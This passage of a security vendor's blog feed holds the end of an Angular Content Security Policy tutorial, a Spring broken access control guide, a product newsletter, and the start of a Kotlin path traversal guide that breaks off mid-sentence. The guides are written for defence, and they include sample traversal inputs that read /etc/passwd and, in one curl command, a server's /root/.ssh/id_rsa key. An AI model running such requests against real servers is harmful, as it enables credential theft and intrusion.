   content=&amp;quot;default-src &amp;#39;self&amp;#39;; img-src https://*;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;After that, run the following command to deploy a debug build: &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng serve&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then wait for Angular to set up the debug server. Once that&amp;#39;s done, go to &lt;b&gt;http://localhost:4200&lt;/b&gt; on your web browser to access the site. You should get a page that looks like this: &lt;/p&gt;&lt;p&gt;As you can see, the page is broken. For instance, the image for the logo is not loading. Another thing that&amp;#39;s broken is the page style (CSS). &lt;/p&gt;&lt;h2&gt;Debugging the Error&lt;/h2&gt;&lt;p&gt;Now let&amp;#39;s try to get more details on what the cause of the problem could be. Right-click on the web page and select the browser &lt;b&gt;Inspect&lt;/b&gt; tool. Inside the tool, navigate to the &lt;b&gt;Console&lt;/b&gt; tab. You should find a report similar to this: &lt;/p&gt;&lt;p&gt;From the above report, we can see why our image isn&amp;#39;t loading. We can also see why our in-line CSS isn&amp;#39;t working. Both errors are due to the Content Security Policy directive. &lt;/p&gt;&lt;p&gt;The first error reads:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Refused to load the image &amp;#39;http://localhost:4200/favicon.ico&amp;#39; because it violates the following Content Security Policy directive: &amp;quot;img-src https://*&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The message is self-explanatory. In our CSP, we specified that our site should only load images over HTTPS. One way to fix this error is by allowing non-HTTPS images from the same origin. We can do that by including &amp;quot;self&amp;quot; as an origin for the &lt;b&gt;img-src&lt;/b&gt; directive. &lt;/p&gt;&lt;p&gt;The next error outputs the following message: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Refused to apply inline style because it violates the following Content Security Policy directive: &amp;quot;default-src &amp;#39;self&amp;#39;&amp;quot;.&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;To fix this, we may need to add an unsafe-inline. However, you should avoid allowing in-line scripts on your site unless it is necessary. &lt;/p&gt;&lt;p&gt;Now we are left with one final error; which outputs the following message: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Refused to load the image &amp;#39;data:image/svg+xml;base64,PHN2... QwLjl6IiAvPgogIDwvc3ZnPg==&amp;#39; because it violates the following Content Security Policy directive: &amp;quot;img-src https://* &amp;#39;self&amp;#39;&amp;quot;.&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This error, just like the first one, affects loading images. Notice that this image is not from an HTTPS source, nor is it on the origin file system. In order to fix this, we include &lt;b&gt;data:&lt;/b&gt; to the &lt;b&gt;img-src&lt;/b&gt; directive. 
And with all the errors out of the way, here&amp;#39;s our page loading with all images and styles working:&lt;/p&gt;&lt;p&gt;Notice that there are no more pesky red error messages in the console tab. Congrats! &lt;/p&gt;&lt;p&gt;Here is the complete code for the new Content Security Policy that doesn&amp;#39;t break our images or CSS. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot;
        content=&amp;quot;default-src &amp;#39;self&amp;#39; &amp;#39;unsafe-inline&amp;#39;; img-src https://* &amp;#39;self&amp;#39; data:;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Content Security Policy is a great security feature in modern web browsers. Using CSP and following other security best practices can eliminate most &lt;a href=&quot;https://www.stackhawk.com/blog/angular-xss-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;XSS-related attacks&lt;/u&gt;&lt;/a&gt; from your website. In this post, we showed you what Angular Content Security Policy is. We also showed you how to enable it. In addition, we were able to practice how to detect and fix Angular Content Security Policy errors. &lt;/p&gt;&lt;p&gt;One good place to start when debugging Angular Content Security Policy errors is from the browser console. The console feature is available out of the box in most modern web browsers like Chrome and Firefox. &lt;/p&gt;&lt;p&gt;And finally, make sure that you fix Angular Content Security Policy errors only by changing the policies to new values that work and are still secure. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Pius Aboyi. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/aboyipius/?originalSubdomain=ng&quot;&gt;&lt;u&gt;&lt;i&gt;Pius&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a mobile and web developer with over 4 years of experience building for the Android platform. He writes code in Java, Kotlin, and PHP. He loves writing about tech and creating how-to tutorials for developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring Broken Access Control Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-broken-access-control-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, we&amp;#39;ll explore access control and its role in the security and reliability of the modern web. &lt;/p&gt;&lt;p&gt;First, we&amp;#39;ll briefly explain what access control is and why it&amp;#39;s essential. Next, we&amp;#39;ll explore broken access control, what it looks like, and the vulnerabilities it targets. Last, we&amp;#39;ll offer some mitigating strategies for these vulnerabilities that you can apply to your systems.&lt;/p&gt;&lt;p&gt;The development stack used to illustrate the concepts in this article is Spring Boot and Java. If you have no experience with these technologies, you can find other articles tackling this topic in the context of different technologies on our blog. &lt;/p&gt;&lt;p&gt;However, if you want to learn more about Spring Boot, feel free to use&lt;a href=&quot;https://spring.io/quickstart&quot;&gt; &lt;u&gt;this&lt;/u&gt;&lt;/a&gt; great resource.&lt;/p&gt;&lt;h2&gt;Spring Boot Starter&lt;/h2&gt;&lt;p&gt;Before jumping into the subject, let&amp;#39;s briefly build a simple Spring Boot web project for Java to use as the backdrop for this article. To build it, all you need is a JDK installed, Gradle, and your favorite IDE to code.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s start by going to &lt;a href=&quot;https://start.spring.io/&quot;&gt;&lt;u&gt;https://start.spring.io&lt;/u&gt;&lt;/a&gt; and downloading our boilerplate project. Make sure to select &amp;quot;Spring Web&amp;quot; and &amp;quot;Spring Security&amp;quot; as dependencies, Java as your language, and Gradle as your project type.&lt;/p&gt;&lt;p&gt;Once downloaded, proceed to the src/main/java/com/example/demo folder and create a class file called HelloController.java.&lt;/p&gt;&lt;p&gt;Then input the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And that&amp;#39;s it. &lt;/p&gt;&lt;p&gt;You can run the code and go to localhost:8080 to see your page.&lt;/p&gt;&lt;h2&gt;What Is Access Control?&lt;/h2&gt;&lt;p&gt;In a nutshell, access control represents a set of policies and mechanisms that manage and control access to resources. Access control is also commonly known as authorization.&lt;/p&gt;&lt;p&gt;Once the server has determined your identity through a login or authentication mechanism, it grants or limits what functions and resources you have access to. Additionally, access control is usually employed as the platform for user tracking.&lt;/p&gt;&lt;p&gt;Despite the simplicity of its concepts, appropriately implementing a robust and secure access control system is difficult. Access control is closely bound to the system architecture. Moreover, users regularly fall into more than one role, which makes access management more complex. Therefore, developing access control from scratch is generally discouraged, and battle-tested, robust solutions like&lt;a href=&quot;https://oauth.net/2/&quot;&gt; &lt;u&gt;OAuth 2.0&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://jwt.io/&quot;&gt;&lt;u&gt;JWT&lt;/u&gt;&lt;/a&gt; are adopted.&lt;/p&gt;&lt;h2&gt;What About Broken Access Control?&lt;/h2&gt;&lt;p&gt;Broken access control comprises a set of known exploits that can represent a threat to your systems&amp;#39; access control. &lt;/p&gt;&lt;p&gt;Despite many of the vulnerabilities in access control being easily exploited when neglected, they can be addressed relatively quickly. This point is important because the consequences of a breach in access control can be pretty destructive since attackers can take over your system.&lt;/p&gt;&lt;p&gt;To learn more about the complexities of access control, please follow this [LINK] to our in-depth article on broken access control.&lt;/p&gt;&lt;h2&gt;Broken Access Control Vulnerabilities&lt;/h2&gt;&lt;p&gt;There are plenty of vulnerabilities that attackers can exploit, depending on your technology stack and architecture. However, we will focus only on insecure IDs, path traversal, file permission, and client caching for brevity.&lt;/p&gt;&lt;h4&gt;Insecure ID Vulnerability&lt;/h4&gt;&lt;p&gt;Most modern websites use some form of ID or index to quickly and efficiently refer to data. For most circumstances, this is satisfactory. However, if these IDs are easy to figure out, either by hand or brute force, then you have a security problem.&lt;/p&gt;&lt;p&gt;To illustrate, imagine that you have a profile page section where the server displays the user profile. Then the following URL retrieves a user profile.&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/profile?id=123&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, if I were to change the number in the query string manually and no active access control is in place to validate my request, I can access any profiles.&lt;/p&gt;&lt;h4&gt;Path Traversal Vulnerability&lt;/h4&gt;&lt;p&gt;Path traversal defines the capacity of a user to navigate a file system&amp;#39;s directory tree freely. &lt;/p&gt;&lt;p&gt;A system without proper access control might be a victim of path traversal exploits and allow attackers to access restricted resources in the server. This situation can happen when the path of a resource the system is allowing to retrieve is accessible to be modified and is not adequately validated.&lt;/p&gt;&lt;p&gt;To illustrate, take a look at the following URL:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/photos?file=user.png&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If we were to change &amp;quot;user.png&amp;quot; to something like &amp;quot;../../etc/passwd&amp;quot;, we could gain access to the application secrets.&lt;/p&gt;&lt;h4&gt;File Permission Vulnerability&lt;/h4&gt;&lt;p&gt;File permission vulnerabilities are in the server&amp;#39;s permission mechanism in its file system. &lt;/p&gt;&lt;p&gt;All web applications contain critical configuration files and resources that should not be accessible. However, if there is a lack of proper configuration policies, an attacker can target these files, taking over the entire platform.&lt;/p&gt;&lt;p&gt;To illustrate this, here is an example of an attack attempting to access a file that should be inaccessible:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/photos?file=../../gradle.json&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Client Caching Vulnerability&lt;/h4&gt;&lt;p&gt;Client caching vulnerabilities are tough to address because they involve attackers physically taking over the user&amp;#39;s computer. Instead of remote attacks, they take advantage of the session credentials, cached pages, or data in the browser already present in an authenticated client.&lt;/p&gt;&lt;p&gt;Once this happens, the attacker can quickly gain access to the user data.&lt;/p&gt;&lt;h2&gt;Addressing Broken Access Control&lt;/h2&gt;&lt;p&gt;The first step to take to mitigate broken access control attacks is to implement a robust authentication mechanism. In this article, we will be implementing a simple form-based login mechanism to illustrate. Please explore the resources available in the&lt;a href=&quot;https://jwt.io/&quot;&gt; &lt;u&gt;Java&lt;/u&gt;&lt;/a&gt; and Spring Boot community for a more in-depth implementation.&lt;/p&gt;&lt;p&gt;First, create a file called SecurityConfiguration.java in the project src/main/java/com/example/demo directory.&lt;/p&gt;&lt;p&gt;Then add the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;As you can see, this is essentially a contrived way to create the user in memory for the authentication manager. Of course, this action is not advisable in production, but it allows us to illustrate the concepts swiftly.&lt;/p&gt;&lt;p&gt;Congratulations, you have just implemented an authentication mechanism.&lt;/p&gt;&lt;p&gt;Refresh the page and check it out.&lt;/p&gt;&lt;h2&gt;Tackling Broken Access Control Vulnerabilities&lt;/h2&gt;&lt;p&gt;In order to tackle the specific vulnerabilities stated above, we need to make a few adjustments to the platform.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Insecure IDs&lt;/b&gt;: This solution is easily achievable by implementing GUIDs as IDs. You must develop your system with this vulnerability in mind early on. All IDs (or at least those belonging to sensitive resources) must be both obfuscated and unique.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Path Traversal&lt;/b&gt;: Path traversal mitigation requires validating all user inputs and restricting access to critical resources. Luckily, you don&amp;#39;t need to do much to implement proper path traversal policies thanks to the robustness of libraries like Spring Security.&lt;/p&gt;&lt;p&gt;&lt;b&gt;File Permission&lt;/b&gt;: Unless you need to tinker with the server permissions and add features related to file manipulation, you don&amp;#39;t need to do much to stay secure. Nonetheless, consult with your server manager if you need further instructions.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Client Caching&lt;/b&gt;: In this case, the most effective solution is also the most simple. Don&amp;#39;t store sensitive user information on the client browser. However, if you must venture into sophisticated features due to requirements, implement proper HTML meta tags and async validations to confirm authority on page load.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;According to &lt;a href=&quot;https://sdtimes.com/security/broken-access-control-is-now-the-highest-vulnerability-in-owasp-top-10-2021/&quot;&gt;&lt;u&gt;&lt;i&gt;SDTimes&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;, broken access control is now the highest vulnerability in the OWASP Top 10 2021. This situation should be a cause of concern for developers.&lt;/p&gt;&lt;p&gt;However, as you have seen, delivering robust access control, despite its complexity, is relatively straightforward. &lt;/p&gt;&lt;p&gt;Exploits and attacks are now more prevalent and ubiquitous than ever, and ensuring your system&amp;#39;s security is an increasingly more complex task. Nevertheless, we must rise to the task and continue developing solutions to these issues.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[November Newsletter: Scan Telemetry, December Webinars, and More!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/november-newsletter-scan-telemetry-december-webinars-and-more</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;h2&gt;The Changelog: New Features to Kaakaww About&lt;/h2&gt;&lt;p&gt;👀 &lt;b&gt;Better Scan Telemetry for Troubleshooting&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Fast test times are essential when you have StackHawk instrumented in your CI/CD pipeline. Our new Scan Telemetry will help you troubleshoot and optimize your scan times. &lt;/p&gt;&lt;p&gt;The new telemetry details that we’ve added to the scan plug-in summary allows you to see exactly how long each test is taking for your app, and optimize if your scan is taking too long.&lt;/p&gt;&lt;h2&gt;Automating StackHawk in CI/CD&lt;/h2&gt;&lt;p&gt;Adding security testing to the CI/CD pipeline enables engineering teams to catch security bugs early, leading to more efficient fixes and more secure applications. Today’s leading teams have shifted security left, running developer-first security testing programs.&lt;/p&gt;&lt;p&gt;While this is compelling in principle, putting it into action can be a bit more complicated. When should StackHawk run in my pipeline? How do I ensure fast builds while still having sufficient security test coverage.&lt;/p&gt;&lt;p&gt;Our new guide to running StackHawk in CI/CD gives some helpful tips and best practices to optimize your use of StackHawk automation.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/running-stackhawk-in-cicd/&quot;&gt;&lt;b&gt;Check it Out&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h2&gt;December Webinars with StackHawk&lt;/h2&gt;&lt;p&gt;This December, our schedule is packed with exciting new webinars. Mark your calendar so you don’t miss these events:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://leaddev.com/productivity-eng-velocity/building-stronger-relationships-between-security-and-engineering-teams&quot;&gt;&lt;b&gt;Building Stronger Relationships Between Security and Engineering Teams [Lead Dev]&lt;/b&gt;&lt;/a&gt;&lt;b&gt;
&lt;/b&gt;December 8 • 9AM PT
Learn practical steps for incorporating security testing into existing engineering workflows. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://linuxfoundation.org/webinars/shifting-application-security-left/&quot;&gt;&lt;b&gt;Shifting Application Security Left: Practical Steps To Get There [Linux Foundation]&lt;/b&gt;&lt;/a&gt;&lt;b&gt;
&lt;/b&gt;December 9 • 9AM PT
Join StackHawk CSO Scott Gerlach as he walks through how to shift security left, including a demo with various free and open source tools. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://snyk.zoom.us/webinar/register/3816373460227/WN_Egx3BYSsQh2ALThvWWaPCw&quot;&gt;&lt;b&gt;AWS Live Hack: SAST and DAST with Snyk and StackHawk&lt;/b&gt;&lt;/a&gt;&lt;b&gt;
&lt;/b&gt;December 14 • 9AM PT
Tune in as StackHawk and Snyk show you how to leverage developer-friendly security tooling in your CI/CD pipeline.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/7316377802770/WN_ozzply85TNWztx_ulhMGYQ&quot;&gt;&lt;b&gt;Automating Security Testing with GitHub Actions&lt;/b&gt;&lt;/a&gt;&lt;b&gt;
&lt;/b&gt;December 16 •  8 AM PT&lt;b&gt;
&lt;/b&gt;StackHawk Senior Front End Engineer, Nick Teets, will be walking through how to automate three different types of security testing with GitHub Actions in this hands-on session.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Other Happenings&lt;/h2&gt;&lt;p&gt;&lt;b&gt;📺 Hawk Talks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/TI7E14vYWtU&quot;&gt;JS Security Testing in GitHub Actions Workshop&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/8liaCddrb8s&quot;&gt;ZAP DeepDive: ZAP 2.11.0&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/trSfeGi3JeY&quot;&gt;GraphQL Security Testing Technical Workshop&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/why-dast-should-be-your-first-application-security-priority/&quot;&gt;Why DAST Should Be Your First Application Security Priority&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-with-stackhawk-at-devops-experience-2021/&quot;&gt;Application Security Testing with StackHawk at DevOps Experience 2021&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives]&lt;/b&gt; &lt;a href=&quot;https://www.stackhawk.com/blog/laravel-broken-access-control-guide-examples-and-prevention/&quot;&gt;Laravel Broken Access Control Guide: Examples and Prevention&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽&lt;/b&gt; &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Nov 29 - Dec 3: &lt;a href=&quot;https://reinvent.awsevents.com/&quot;&gt;AWS re:Invent&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;December 6: &lt;a href=&quot;https://graphqlgalaxy.com/workshops-3h&quot;&gt;Security Testing Workshop @ GraphQL Galaxy&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;December 8: &lt;a href=&quot;https://leaddev.com/productivity-eng-velocity/building-stronger-relationships-between-security-and-engineering-teams&quot;&gt;Building Stronger Relationships Between Security and Engineering Teams&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;December 9-10: &lt;a href=&quot;https://graphqlgalaxy.com/&quot;&gt;GraphQL Galaxy&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;December 9: &lt;a href=&quot;https://linuxfoundation.org/webinars/shifting-application-security-left/&quot;&gt;Shifting Application Security Left: Practical Steps To Get There&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;December 14: &lt;a href=&quot;https://snyk.zoom.us/webinar/register/3816373460227/WN_Egx3BYSsQh2ALThvWWaPCw&quot;&gt;AWS Live Hack: SAST and DAST with Snyk and StackHawk&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;December 16: &lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/7316377802770/WN_ozzply85TNWztx_ulhMGYQ&quot;&gt;Automating Security Testing with GitHub Actions&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;💼 Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Software Engineer&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Developer Advocate&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Head of Marketing&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kotlin Path Traversal Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/kotlin-path-traversal-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, we&amp;#39;ll explore the concept of path traversal and how it can become a critical vulnerability in your system. In addition, this article will present a brief and comprehensive guide on path traversal attacks. We&amp;#39;ll also explore some basic examples and investigate how to moderate their impact in the Kotlin and Spring Boot development stack. &lt;/p&gt;&lt;p&gt;By the time you finish reading this article, you should have a basic understanding of what path traversal attacks are and be capable of implementing proper mitigation strategies. &lt;/p&gt;&lt;p&gt;I wrote this article for the Kotlin and Spring development stack. Therefore, I assume that you have experience with the technology. Please &lt;a href=&quot;https://spring.io/guides/gs/spring-boot/&quot;&gt;&lt;u&gt;check out this Spring Boot guide&lt;/u&gt;&lt;/a&gt; for some excellent introduction info and samples if you haven&amp;#39;t done so. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Kickstarting Our Demo Site&lt;/h2&gt;&lt;p&gt;Before we jump into the theory of path traversal, let&amp;#39;s make sure we&amp;#39;re all on the same page. For that purpose, we&amp;#39;ll be crafting our demo site in Spring Boot at lightspeed using the &lt;b&gt;start.spring.io&lt;/b&gt; site. &lt;/p&gt;&lt;p&gt;If you already know how to do this and just want to read the theory of the subject, don&amp;#39;t hesitate to jump to the &amp;quot;Demystifying Path Traversal&amp;quot; section below. &lt;/p&gt;&lt;h3&gt;Setting Up&lt;/h3&gt;&lt;p&gt;All right! So, if you&amp;#39;re new to Java, all you&amp;#39;ll need in your system is a &lt;a href=&quot;https://www.techopedia.com/definition/5594/java-development-kit-jdk&quot;&gt;&lt;u&gt;Java Development Kit (JDK)&lt;/u&gt;&lt;/a&gt; installed—either Gradle or Maven—and your favorite &lt;a href=&quot;https://en.wikipedia.org/wiki/Integrated_development_environment&quot;&gt;&lt;u&gt;integrated development environment (IDE)&lt;/u&gt;&lt;/a&gt;. In our case, we&amp;#39;ll have &lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;&lt;u&gt;VSCode&lt;/u&gt;&lt;/a&gt; as our IDE and &lt;a href=&quot;https://gradle.org/&quot;&gt;&lt;u&gt;Gradle&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;As we mentioned above, to expedite the process, we&amp;#39;ll start by going to &lt;a href=&quot;https://start.spring.io/&quot;&gt;&lt;u&gt;https://start.spring.io&lt;/u&gt;&lt;/a&gt; and setting up our startup project. Before downloading the Zip file, remember to select Kotlin as your language, Gradle as your dependency manager, and Spring Web as your dependency. &lt;/p&gt;&lt;h3&gt;Creating a Class File&lt;/h3&gt;&lt;p&gt;So, once you&amp;#39;ve completed the download, proceed to the &lt;b&gt;src/main/kotlin/com/example/demo&lt;/b&gt; folder. Then create a class file called &lt;b&gt;HomeController.kt&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;In it, just input the following code. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now, continue to the &lt;b&gt;src/main/resources/templates&lt;/b&gt; folder. Create header and footer templates.  &lt;/p&gt;&lt;p&gt;I&amp;#39;ve chosen the &lt;b&gt;mustache&lt;/b&gt; template language for our templates. But you can make them in the language your prefer. &lt;/p&gt;&lt;h3&gt;header.mustache&lt;/h3&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;footer.mustache&lt;/h3&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;home.mustache&lt;/h3&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And there you go! That&amp;#39;s all you need.  &lt;/p&gt;&lt;p&gt;You can now run the code with &lt;b&gt;gradle bootRun&lt;/b&gt; in the terminal and see your website on &lt;b&gt;localhost:8080&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;Blog home page &lt;/p&gt;&lt;p&gt;Simple, right? &lt;/p&gt;&lt;p&gt;Do you want an extensive explanation of what&amp;#39;s going on behind the scenes? If so, please check out the Kotlin community and the &lt;a href=&quot;https://spring.io/guides/tutorials/spring-boot-kotlin/&quot;&gt;&lt;u&gt;Spring Boot tutorial&lt;/u&gt;&lt;/a&gt; I mentioned earlier. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s move on.&lt;/p&gt;&lt;h2&gt;Demystifying Path Traversal&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Path_Traversal&quot;&gt;&lt;u&gt;Path traversal attacks&lt;/u&gt;&lt;/a&gt; take advantage of vulnerable access control settings on a server, particularly file access, to gain control of the OS file system.  &lt;/p&gt;&lt;p&gt;In a typical path traversal attack, an attacker tries to access sensitive files by, for example, injecting invalid or malicious input into your platform. Think of it as an injection attack, but on directories instead of databases. &lt;/p&gt;&lt;p&gt;Understandably, if the attacker succeeds, that compromises the entirety of the server. Goodbye, security and service. &lt;/p&gt;&lt;h2&gt;Further Down the Rabbit Hole&lt;/h2&gt;&lt;p&gt;The concept of path traversal is in itself quite simple. However, it&amp;#39;s crucial to properly understand the underlying mechanisms that can reduce its impact on our platforms. &lt;/p&gt;&lt;h2&gt;Examples of Path Traversal Attack&lt;/h2&gt;&lt;p&gt;OK, you understand the theory now. But what does a path traversal attack look like in the wild? &lt;/p&gt;&lt;p&gt;Here&amp;#39;s an example of a simple CRUL attack. &lt;/p&gt;&lt;p&gt;&lt;code&gt;curl http://mysecuresite.com/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The objective of this attack is to gain access to folders in your server that shouldn&amp;#39;t be accessible to users.  &lt;/p&gt;&lt;p&gt;The evil of path traversal lies, in my opinion, in its simplicity and conciseness. With a basic understanding of paths and the command line, you can access pretty much anywhere in a server this way.  &lt;/p&gt;&lt;p&gt;Let&amp;#39;s see some other examples. &lt;/p&gt;&lt;h3&gt;Relative Path Attack&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/23.html&quot;&gt;&lt;u&gt;Relative path attacks&lt;/u&gt;&lt;/a&gt; work by abusing the user input validation, or lack thereof, with malicious string inputs. In our case, the &lt;b&gt;id_rsa&lt;/b&gt; file contains sensitive information on our server. &lt;/p&gt;&lt;h3&gt;Mitigation&lt;/h3&gt;&lt;p&gt;One approach to mitigate this vulnerability is by implementing proper user input validation.  &lt;/p&gt;&lt;p&gt;This strategy should be obvious to most developers, but I&amp;#39;m explicitly stating it anyway. Unfortunately, there are still cases where some platforms have disregarded these basic validations. Sanitizing user input and using methods like &lt;b&gt;path.normalize()&lt;/b&gt; can go a long way in preventing disaster. &lt;/p&gt;&lt;h3&gt;Poison Null Bytes Attack&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Null_character&quot;&gt;&lt;u&gt;Null bytes&lt;/u&gt;&lt;/a&gt;, represented as &lt;b&gt;\0&lt;/b&gt;, are encoded characters that usually aren&amp;#39;t visible and are commonly used for encoding purposes.  &lt;/p&gt;&lt;p&gt;When an attacker appends a &lt;b&gt;\0&lt;/b&gt; character at the end of an URL in an 